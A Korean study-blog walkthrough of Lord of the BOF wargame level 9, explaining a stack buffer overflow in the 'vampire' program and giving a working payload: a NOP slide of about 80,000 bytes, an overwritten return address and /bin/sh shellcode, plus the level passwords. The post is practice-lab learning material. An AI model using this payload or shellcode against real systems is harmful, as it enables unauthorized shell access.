yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 9번 풀이 (troll) 본문

wargame 풀이/LOB

LOB 9번 풀이 (troll)

yehey 2020. 11. 21. 02:28
id: troll
pw: aspirin
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

  • argc가 2보다 크거나 같아야 함 (적어도 하나 이상의 인자가 전달되어야 함)
  • argv[1]의 48번째 자리에는 \xbf 여야 한다.
  • argv[1]의 47번째 자리가 \xff 면 강제로 종료된다. 
  • strcpy의 BOF 취약점 이용

스택구조는 이전 문제들과 같기 때문에 생략

 

이전 문제에서 우리가 ret에 넣은 주소는 0xbfff 로 시작했으나 이번에는 0xbf로 시작하지만 ff면 종료한다.

따라서 더 낮은 주소를 ret에 넣어주어야 한다.

 

우선 argv[1]과 buffer의 시작주소를 알아내는 코드로 수정해보자

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        printf("argv[1] addr: %x\n",argv[1]);
        printf("buffer addr: %x\n",buffer);
        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

argv[1]에 48byte를 전달했을 때는 argv[1]과 buffer 주소가 0xbfff 로 시작한다

 

argv[1]에 80048 byte를 전달했을 때는 argv[1]과 buffer 주소가 0xbffe 로 시작한다.

 

스택은 낮은 주소부터 값을 채우기 때문에 많은 값이 전달되면 그만큼 낮은 주소부터 시작한다.

따라서 다음과 같은 페이로드를 작성할 수 있다.

 

./vampire `python -c 'print "A"*44+"\xff\xff\xfe\xbf"+"\x90"*80000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 

buffer는 생각하지 말고 argv[1]을 이용해보자

argv[1]에 80048 byte를 전달하면 argv[1] 시작 주소는 0xbffec3d7 으로 출력되었다.

(사실 payload 에서는 쉘 코드까지 25바이트가 추가되었기 때문에 시작 주소는 0xbffec3d7과 똑같진 않다..)

0xbffec37에서부터 ret 이후로 NOP가 80000개 정도 들어간다면 0xbffeffff 도 NOP로 채워진다고 예상했다.

그리고 NOP이후로 쉘 코드가 존재하니 NOP slide를 이용해 쉘 코드가 실행될 수 있다고 생각했다.

0xbffeffff 에는 NOP가 있었고, 쉘 코드가 잘 실행되어 쉘이 띄워졌다.

 

 

vampire의 pw: "music world"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 11번 풀이 (skeleton)  (0) 2020.11.24
LOB 10번 풀이 (vampire)  (0) 2020.11.22
LOB 8번 풀이 (orge)  (0) 2020.11.19
LOB 7번 풀이 (darkelf)  (0) 2020.11.10
LOB 6번 풀이 (wolfman)  (0) 2020.11.07
Comments